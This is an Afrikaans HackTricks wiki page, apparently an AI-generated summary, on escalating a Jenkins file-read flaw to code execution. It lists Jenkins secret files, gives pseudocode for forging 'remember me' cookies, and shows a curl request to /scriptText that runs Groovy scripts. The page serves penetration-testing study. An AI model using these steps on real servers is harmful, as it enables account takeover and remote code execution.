Jenkins Arbitrêre Lêer Lees na RCE via “Onthou My”

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

In hierdie blogpos is dit moontlik om ’n uitstekende manier te vind om ’n Local File Inclusion kwesbaarheid in Jenkins in RCE te transformeer: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Dit is ’n KI-gegenereerde opsomming van die deel van die pos waar die vervaardiging van ’n arbitrêre koekie misbruik word om RCE te verkry deur ’n plaaslike lêer te lees totdat ek tyd het om ’n opsomming op my eie te skep:

Aanval Voorvereistes

  • Kenmerk Vereiste: “Onthou my” moet geaktiveer wees (standaardinstelling).
  • Toegangsvlakke: Aanvaller benodig Algemene/Lees regte.
  • Geheime Toegang: Vermoë om beide binêre en teksinhoud van sleutel lêers te lees.

Gedetailleerde Exploitasiestap

Stap 1: Gegevensinsameling

Gebruikersinligting Herwinning

  • Toegang gebruikerskonfigurasie en geheime van $JENKINS_HOME/users/*.xml vir elke gebruiker om te versamel:
  • Gebruikersnaam
  • Gebruiker saad
  • Tydstempel
  • Wagwoord hash

Geheime Sleutel Uittrekking

  • Trek kriptografiese sleutels uit wat gebruik word om die koekie te teken:
  • Geheime Sleutel: $JENKINS_HOME/secret.key
  • Meester Sleutel: $JENKINS_HOME/secrets/master.key
  • MAC Sleutel Lêer: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Stap 2: Koekie Valsifikasie

Token Voorbereiding

  • Bereken Token Vervaldatum:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Voeg een uur by die huidige tyd
  • Konkateer Gegevens vir Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Sleutel Ontsleuteling

  • Ontsleutel MAC Sleutel Lêer:
key = toAes128Key(masterKey)  // Convert meester sleutel na AES128 sleutel formaat
decrypted = AES.decrypt(macFile, key)  // Ontsleutel die .mac lêer
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Handtekening Berekening

  • Bereken HMAC SHA256:
mac = HmacSHA256(token, macKey) // Bereken HMAC met die token en MAC sleutel
tokenSignature = bytesToHexString(mac) // Convert die MAC na 'n hexadesimale string

Koekie Kodering

  • Genereer Finale Koekie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 kodeer die koekie data

Stap 3: Kode Uitvoering

Sessie Verifikasie

  • Haal CSRF en Sessie Tokens:
  • Maak ’n versoek na /crumbIssuer/api/json om Jenkins-Crumb te verkry.
  • Vang JSESSIONID uit die antwoord, wat saam met die onthou-my koekie gebruik sal word.

Opdrag Uitvoeringsversoek

  • Stuur ’n POST Versoek met Groovy Skrip:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy skrip kan gebruik word om stelselniveau opdragte of ander operasies binne die Jenkins omgewing uit te voer.

Die voorbeeld curl-opdrag wat verskaf word demonstreer hoe om ’n versoek aan Jenkins te maak met die nodige koptekste en koekies om arbitrêre kode veilig uit te voer.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks